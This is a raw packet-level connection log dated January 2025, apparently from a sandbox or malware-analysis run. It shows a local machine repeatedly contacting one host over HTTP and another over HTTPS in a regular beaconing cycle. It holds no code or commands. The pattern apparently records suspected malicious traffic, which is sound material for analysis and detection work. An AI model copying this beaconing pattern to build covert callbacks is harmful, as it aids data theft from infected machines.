Jan 10, 2025 20:10:08.441468954 CET	49712	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:08.441741943 CET	49712	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:08.446553946 CET	80	49712	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:15.467886925 CET	80	49712	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:15.473562956 CET	49712	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:15.478375912 CET	80	49712	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:16.811794996 CET	80	49712	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:16.856578112 CET	49712	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:17.168979883 CET	49747	443	192.168.2.8	104.21.96.1
Jan 10, 2025 20:10:17.169018984 CET	443	49747	104.21.96.1	192.168.2.8
Jan 10, 2025 20:10:17.169118881 CET	49747	443	192.168.2.8	104.21.96.1
Jan 10, 2025 20:10:17.172512054 CET	49747	443	192.168.2.8	104.21.96.1
Jan 10, 2025 20:10:17.172533989 CET	443	49747	104.21.96.1	192.168.2.8
Jan 10, 2025 20:10:17.670507908 CET	443	49747	104.21.96.1	192.168.2.8
Jan 10, 2025 20:10:17.670586109 CET	49747	443	192.168.2.8	104.21.96.1
Jan 10, 2025 20:10:17.674273968 CET	49747	443	192.168.2.8	104.21.96.1
Jan 10, 2025 20:10:17.674288034 CET	443	49747	104.21.96.1	192.168.2.8
Jan 10, 2025 20:10:17.674653053 CET	443	49747	104.21.96.1	192.168.2.8
Jan 10, 2025 20:10:17.678981066 CET	49747	443	192.168.2.8	104.21.96.1
Jan 10, 2025 20:10:17.719330072 CET	443	49747	104.21.96.1	192.168.2.8
Jan 10, 2025 20:10:17.811728954 CET	443	49747	104.21.96.1	192.168.2.8
Jan 10, 2025 20:10:17.811887026 CET	443	49747	104.21.96.1	192.168.2.8
Jan 10, 2025 20:10:17.811954021 CET	49747	443	192.168.2.8	104.21.96.1
Jan 10, 2025 20:10:17.818126917 CET	49747	443	192.168.2.8	104.21.96.1
Jan 10, 2025 20:10:23.277862072 CET	49712	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:23.282666922 CET	80	49712	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:24.731668949 CET	80	49712	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:24.744261026 CET	49775	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:24.744312048 CET	443	49775	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:24.744448900 CET	49775	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:24.745083094 CET	49775	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:24.745112896 CET	443	49775	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:24.778470993 CET	49712	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:25.389677048 CET	443	49775	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:25.389789104 CET	49775	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:25.391685009 CET	49775	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:25.391700029 CET	443	49775	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:25.392061949 CET	443	49775	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:25.393709898 CET	49775	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:25.435333014 CET	443	49775	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:25.435476065 CET	49775	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:25.435497999 CET	443	49775	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:25.952838898 CET	443	49775	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:25.953865051 CET	443	49775	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:25.953944921 CET	49775	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:25.954322100 CET	49775	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:26.121433020 CET	49712	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:26.122807026 CET	49784	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:26.126503944 CET	80	49712	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:26.126811981 CET	49712	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:26.127635956 CET	80	49784	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:26.127715111 CET	49784	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:26.127875090 CET	49784	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:26.132590055 CET	80	49784	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:26.973731041 CET	80	49784	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:26.975493908 CET	49789	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:26.975522041 CET	443	49789	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:26.975840092 CET	49789	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:26.976229906 CET	49789	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:26.976252079 CET	443	49789	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:27.028453112 CET	49784	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:27.599653959 CET	443	49789	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:27.602999926 CET	49789	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:27.603012085 CET	443	49789	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:27.603065968 CET	49789	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:27.603072882 CET	443	49789	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:27.873028994 CET	443	49789	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:27.873143911 CET	443	49789	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:27.873205900 CET	49789	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:27.873598099 CET	49789	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:27.878254890 CET	49795	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:27.883023024 CET	80	49795	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:27.883147001 CET	49795	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:27.883239031 CET	49795	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:27.888006926 CET	80	49795	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:28.721793890 CET	80	49795	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:28.723330021 CET	49801	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:28.723356009 CET	443	49801	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:28.723469019 CET	49801	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:28.723929882 CET	49801	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:28.723943949 CET	443	49801	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:28.762835026 CET	49795	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:29.342309952 CET	443	49801	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:29.348925114 CET	49801	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:29.348949909 CET	443	49801	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:29.349050045 CET	49801	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:29.349056005 CET	443	49801	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:29.585510969 CET	443	49801	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:29.585596085 CET	443	49801	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:29.585653067 CET	49801	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:29.586146116 CET	49801	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:29.589509010 CET	49795	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:29.590518951 CET	49807	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:29.594521999 CET	80	49795	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:29.594707966 CET	49795	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:29.595454931 CET	80	49807	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:29.595542908 CET	49807	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:29.595670938 CET	49807	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:29.600712061 CET	80	49807	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:30.451816082 CET	80	49807	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:30.453001976 CET	49815	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:30.453036070 CET	443	49815	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:30.453151941 CET	49815	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:30.453372002 CET	49815	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:30.453396082 CET	443	49815	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:30.497242928 CET	49807	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:31.084652901 CET	443	49815	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:31.086347103 CET	49815	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:31.086368084 CET	443	49815	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:31.086420059 CET	49815	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:31.086431026 CET	443	49815	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:31.367506981 CET	443	49815	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:31.367578983 CET	443	49815	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:31.367705107 CET	49815	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:31.368185043 CET	49815	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:31.371581078 CET	49807	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:31.372925997 CET	49822	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:31.376590014 CET	80	49807	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:31.376683950 CET	49807	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:31.377759933 CET	80	49822	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:31.377861977 CET	49822	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:31.378396034 CET	49822	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:31.383136034 CET	80	49822	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:32.206562996 CET	80	49822	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:32.209081888 CET	49830	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:32.209132910 CET	443	49830	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:32.209286928 CET	49830	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:32.209621906 CET	49830	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:32.209640980 CET	443	49830	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:32.262866974 CET	49822	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:32.823715925 CET	443	49830	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:32.825794935 CET	49830	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:32.825803995 CET	443	49830	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:32.825891972 CET	49830	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:32.825896978 CET	443	49830	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:33.195987940 CET	443	49830	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:33.196073055 CET	443	49830	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:33.196140051 CET	49830	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:33.271519899 CET	49830	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:33.285835028 CET	49822	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:33.286832094 CET	49836	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:33.290844917 CET	80	49822	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:33.291079998 CET	49822	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:33.291728020 CET	80	49836	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:33.291934013 CET	49836	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:33.291934013 CET	49836	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:33.296879053 CET	80	49836	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:34.176112890 CET	80	49836	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:34.177448034 CET	49842	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:34.177486897 CET	443	49842	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:34.177546978 CET	49842	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:34.177939892 CET	49842	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:34.177949905 CET	443	49842	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:34.231601000 CET	49836	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:34.819117069 CET	443	49842	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:34.821281910 CET	49842	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:34.821300030 CET	443	49842	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:34.821626902 CET	49842	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:34.821635008 CET	443	49842	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:35.280838966 CET	443	49842	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:35.280926943 CET	443	49842	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:35.281065941 CET	49842	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:35.281761885 CET	49842	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:35.285209894 CET	49836	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:35.290234089 CET	80	49836	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:35.291738987 CET	49836	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:35.291980028 CET	49853	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:35.296857119 CET	80	49853	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:35.297465086 CET	49853	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:35.297606945 CET	49853	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:35.302392960 CET	80	49853	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:37.120876074 CET	80	49853	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:37.122415066 CET	49863	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:37.122468948 CET	443	49863	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:37.122621059 CET	49863	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:37.122936964 CET	49863	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:37.122948885 CET	443	49863	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:37.169269085 CET	49853	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:37.778386116 CET	443	49863	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:37.780277014 CET	49863	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:37.780293941 CET	443	49863	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:37.780450106 CET	49863	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:37.780457020 CET	443	49863	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:38.087276936 CET	443	49863	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:38.087367058 CET	443	49863	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:38.087485075 CET	49863	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:38.088026047 CET	49863	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:38.091250896 CET	49853	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:38.092231989 CET	49868	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:38.096241951 CET	80	49853	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:38.096304893 CET	49853	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:38.097031116 CET	80	49868	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:38.097100019 CET	49868	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:38.097207069 CET	49868	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:38.101916075 CET	80	49868	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:38.951761961 CET	80	49868	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:38.953154087 CET	49873	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:38.953190088 CET	443	49873	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:38.953280926 CET	49873	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:38.953644991 CET	49873	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:38.953654051 CET	443	49873	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:38.997246981 CET	49868	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:39.591800928 CET	443	49873	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:39.593600988 CET	49873	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:39.593614101 CET	443	49873	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:39.593671083 CET	49873	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:39.593678951 CET	443	49873	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:39.918872118 CET	443	49873	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:39.918934107 CET	443	49873	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:39.919033051 CET	49873	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:39.920973063 CET	49873	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:39.924530029 CET	49868	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:39.925581932 CET	49880	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:39.929466963 CET	80	49868	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:39.929512978 CET	49868	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:39.930382967 CET	80	49880	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:39.930687904 CET	49880	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:39.930825949 CET	49880	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:39.935595989 CET	80	49880	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:41.786953926 CET	80	49880	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:41.790889025 CET	49893	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:41.790941000 CET	443	49893	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:41.791027069 CET	49893	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:41.791301012 CET	49893	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:41.791321993 CET	443	49893	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:41.841020107 CET	49880	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:42.399158955 CET	443	49893	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:42.400973082 CET	49893	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:42.400993109 CET	443	49893	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:42.401052952 CET	49893	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:42.401067019 CET	443	49893	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:42.687439919 CET	443	49893	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:42.687593937 CET	443	49893	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:42.687709093 CET	49893	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:42.688222885 CET	49893	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:42.691878080 CET	49880	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:42.692106009 CET	49900	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:42.696903944 CET	80	49880	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:42.697063923 CET	80	49900	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:42.697155952 CET	49880	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:42.697181940 CET	49900	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:42.697278976 CET	49900	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:42.702121973 CET	80	49900	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:43.579401016 CET	80	49900	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:43.580868006 CET	49906	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:43.580897093 CET	443	49906	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:43.580970049 CET	49906	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:43.581273079 CET	49906	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:43.581285954 CET	443	49906	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:43.622351885 CET	49900	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:44.220510960 CET	443	49906	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:44.222399950 CET	49906	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:44.222415924 CET	443	49906	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:44.222472906 CET	49906	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:44.222493887 CET	443	49906	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:44.442672014 CET	443	49906	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:44.442871094 CET	443	49906	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:44.442951918 CET	49906	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:44.443243980 CET	49906	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:44.446712971 CET	49900	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:44.447504997 CET	49912	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:44.451787949 CET	80	49900	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:44.452176094 CET	49900	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:44.452347994 CET	80	49912	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:44.452615023 CET	49912	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:44.452672958 CET	49912	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:44.457468033 CET	80	49912	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:48.349817038 CET	80	49912	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:48.362682104 CET	49938	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:48.367621899 CET	80	49938	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:48.367727995 CET	49938	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:48.367818117 CET	49938	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:48.372816086 CET	80	49938	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:48.403565884 CET	49912	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:51.216351986 CET	80	49938	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:51.216979027 CET	49912	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:51.217618942 CET	49956	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:51.217659950 CET	443	49956	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:51.217736959 CET	49956	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:51.218308926 CET	49956	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:51.218322039 CET	443	49956	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:51.223210096 CET	80	49912	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:51.223299026 CET	49912	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:51.263012886 CET	49938	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:51.844357014 CET	443	49956	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:51.846219063 CET	49956	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:51.846237898 CET	443	49956	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:51.846483946 CET	49956	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:51.846489906 CET	443	49956	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:52.335654974 CET	443	49956	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:52.335747957 CET	443	49956	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:52.335834026 CET	49956	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:52.336338043 CET	49956	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:52.339668989 CET	49938	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:52.340902090 CET	49963	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:52.344711065 CET	80	49938	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:52.344885111 CET	49938	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:52.345763922 CET	80	49963	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:52.345829010 CET	49963	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:52.345976114 CET	49963	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:52.350846052 CET	80	49963	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:54.302759886 CET	80	49963	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:54.304452896 CET	49978	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:54.304487944 CET	443	49978	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:54.304577112 CET	49978	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:54.304868937 CET	49978	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:54.304883003 CET	443	49978	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:54.356754065 CET	49963	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:54.930381060 CET	443	49978	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:54.931937933 CET	49978	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:54.931973934 CET	443	49978	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:54.932034016 CET	49978	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:54.932049036 CET	443	49978	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:55.403397083 CET	443	49978	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:55.403486013 CET	443	49978	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:55.403609991 CET	49978	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:55.404192924 CET	49978	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:55.407728910 CET	49963	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:55.408931971 CET	49986	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:55.413933039 CET	80	49963	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:55.413950920 CET	80	49986	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:55.414010048 CET	49963	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:55.414043903 CET	49986	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:55.414172888 CET	49986	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:55.418890953 CET	80	49986	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:57.265990019 CET	80	49986	132.226.8.169	192.168.2.8
Jan 10, 2025 20:10:57.272813082 CET	50000	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:57.272871017 CET	443	50000	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:57.273052931 CET	50000	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:57.273598909 CET	50000	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:57.273627043 CET	443	50000	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:57.309880018 CET	49986	80	192.168.2.8	132.226.8.169
Jan 10, 2025 20:10:57.954406977 CET	443	50000	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:57.997415066 CET	50000	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:58.032275915 CET	50000	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:58.032300949 CET	443	50000	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:58.032507896 CET	50000	443	192.168.2.8	149.154.167.220
Jan 10, 2025 20:10:58.032516956 CET	443	50000	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:58.416729927 CET	443	50000	149.154.167.220	192.168.2.8
Jan 10, 2025 20:10:58.416821957 CET	443	50000	149.154.167.220	192.168.2.8
